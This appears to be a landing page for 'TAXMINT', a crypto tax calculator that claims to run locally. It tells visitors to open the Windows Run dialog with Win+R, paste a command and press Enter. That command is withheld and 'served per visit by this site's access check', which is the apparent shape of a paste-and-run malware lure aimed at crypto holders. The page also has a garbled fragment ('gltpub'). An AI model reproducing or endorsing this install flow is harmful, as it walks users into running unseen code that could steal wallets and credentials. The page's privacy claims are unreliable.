TAXMINT — crypto tax numbers, calculated on your own machine
One command in your terminal, then point it at the exports your exchange and wallet already produce. It matches sales against purchases, handles fees, staking income and transfers between your own addresses, and hands you a finished report.
Install with one command
One command per platform, both shown at once — no OS detection, so you see exactly what every other visitor sees.
This is the ordinary install-from-terminal pattern, the same one
bun, uv and deno use: a script at
a public address installs the tool on your system. It is the same
command shown across the
gltpub.
Command not released for this visit.
The installer command is served per visit by this site's access check, and nothing was released to this one.
- What it runs
- PowerShell, with the whole thing on one line. It downloads the installer over HTTPS into your temp folder and runs it from there.
- What you get
-
A
taxmintcommand on your PATH, plus a sample report so you can confirm the output shape before importing anything real. - Uninstall
- The installer prints the removal command when it finishes.
Command not released for this visit.
The installer command is served per visit by this site's access check, and nothing was released to this one.
- What it runs
-
curlfetches the installer over HTTPS and pipes it tosh.-fmakes it fail loudly instead of running a broken download, and-sSkeeps errors visible while hiding the progress bar. - What you get
-
A
taxmintcommand on your PATH, plus a sample report so you can confirm the output shape before importing anything real. - Uninstall
- The installer prints the removal command when it finishes.
Paste the command, step by step
Windows
- Press Win+R to open the Run dialog.
- Press Ctrl+V to paste the command you copied.
- Press Enter. PowerShell opens, the install runs, the window closes.
macOS
- Press Cmd+Space, type Terminal, press Enter.
- Press Cmd+V to paste the command you copied.
- Press Enter. The install takes a few seconds.
Four steps from export to numbers
No integrations, no API keys. The input is the CSV or Excel file your exchange and wallet already export; the output is a report you can hand to an accountant.
Install with one command
The command above puts the CLI on your machine. Everything after that
happens locally — taxmint works with the network off.
Download your exports
Pull the CSV or Excel files from your exchange dashboards and your wallet export. Column layouts are read as they come; nothing needs renaming by hand.
Compute the base
taxmint report matches sales against purchases using the
method you chose, folds fees into cost basis, and drops transfers
between your own addresses out of the calculation.
Take the report
You get a file with the summary and the line-by-line base. From there it is yours or your accountant's to work with.
What goes into the calculation
Driven by flags rather than hard-coded: the cost-basis method, rates and deductions are yours to set.
- Cost-basis method FIFO, LIFO or HIFO — a flag, FIFO by default.
- Cost basis and realised result Per sale: what went in, what came out, profit or loss.
- Exchange and network fees Buy and sell fees land in cost basis instead of disappearing.
- Transfers between your own addresses Excluded from profit and loss: moving a coin to your own wallet is not a disposal.
- Staking, rewards, airdrops, mining Separate operation types with their own income category, not folded into "a transfer to USDT".
- Rates, deductions and thresholds Set from config: the rules differ by country, and the tool does not pretend to know yours.
- Several exchanges at once Files from different venues are merged into one operations table and calculated together.
- Re-runs without duplicates Importing the same file twice does not double the operations.
What the report file looks like
The table below is a synthetic example: the figures were picked so the arithmetic reconciles and you can check it by hand. It shows the output shape, not anyone's real data.
| Date | Asset | Operation | Amount | Price, USD | Fee, USD | Cost basis, USD | Result, USD |
|---|---|---|---|---|---|---|---|
| 2025-03-04 | BTC | Buy | 0.1200 | 62 400.00 | 18.72 | — | — |
| 2025-05-17 | BTC | Transfer · own address | 0.1200 | — | 0.44 | — | excluded |
| 2025-06-02 | BTC | Buy | 0.0800 | 66 900.00 | 16.06 | — | — |
| 2025-08-21 | BTC | Sell | 0.1500 | 71 300.00 | 32.09 | 9 519.74 | +1 143.17 |
| 2025-09-11 | USDT | Staking reward | 250.0000 | 1.00 | 0.00 | — | income 250.00 |
| 2025-10-03 | ETH | Withdrawal to own exchange | 3.4000 | — | 0.68 | — | excluded |
Your files are read by you. That is the whole design.
The calculation runs on your machine, which is what makes the numbers reproducible and the exports yours.
Runs locally
taxmint reads the imported files from disk and writes the
report next to them. It makes no network calls while calculating, so
you can confirm that by turning the network off.
No keys to manage
No exchange API key, no account login, no access to your funds. That is what makes it work unattended: the tool reads exports you already have instead of holding credentials.
No telemetry
Counters, errors and update checks are not shipped anywhere: the CLI does not call our servers while it works. Subscription covers updates and support, not data collection.
Reproducible numbers
Method and flags are recorded in a config file, so the same inputs give the same report every time — something a spreadsheet assembled by hand rarely manages across a full year.
Scope
- It computes the taxable base and writes the report. Filing itself stays with you or your accountant.
- It is a calculator, not a trading tool: no orders, no signals.
- Rates, deductions and thresholds come from your config, per your jurisdiction.
- Payment details are handled on the plans page, never on this page.
Who it is for
Situations where this table is normally assembled by hand in a spreadsheet, slightly differently every time.
Freelancers and contractors
Paid in USDT or to a crypto wallet, swapped a few times a year, and needing to show where a given amount came from on a return.
Traders across several exchanges
Buys and sells spread across venues in different export formats. Here they land in one operations table and are calculated together.
People who sold in parts
Held an asset for a long time and sold it in pieces. FIFO and LIFO measurably change the outcome, and that should be a decision, not a default.
Stablecoin holders
Lots of movement between your own addresses and exchanges. That is exactly where most of the noise comes from if it is not filtered out.
People with staking income
Staking rewards, activity rewards, airdrops, mining income. Each gets its own income category instead of landing in "unexplained".
Accountants and advisers
Needing a calculation a client can reproduce, not a table nobody can check. Method and flags are pinned in the config.
Common questions
What do I need to hand over?
Nothing but the transaction history export — the CSV your exchange and wallet already produce from the dashboard. No API key, no account login, and no access to your funds at any point.
Where does my data go after the import?
Nowhere. taxmint reads the files from disk, calculates,
and writes the report into your working directory. There are no
network calls during the calculation — you can verify that by
disconnecting.
Does it file a return for me?
It computes the taxable base and prepares the numbers: a line-by-line base, a summary by period and by asset, in a form you can check. Filing itself stays with you or your accountant, and rates and deductions come from your config.
How are staking, airdrops and mining handled?
As separate operation types, not as "a transfer to USDT". Each one gets its own income category and its own line in the report, so you can decide what counts as income and what does not.
What happens if I import twice?
Nothing breaks. The import is idempotent: reloading the same file does not duplicate operations. Files are recognised by content, so a renamed export is still handled correctly.
Is it free, and where are the plans?
The install command itself is free and costs nothing to run. Plans for teams — SSO, audit log, priority support, procurement — are on the pricing page, and questions about them go to contact.
Compute your own base
One command, half a minute of installing, and you see your number before anyone else does.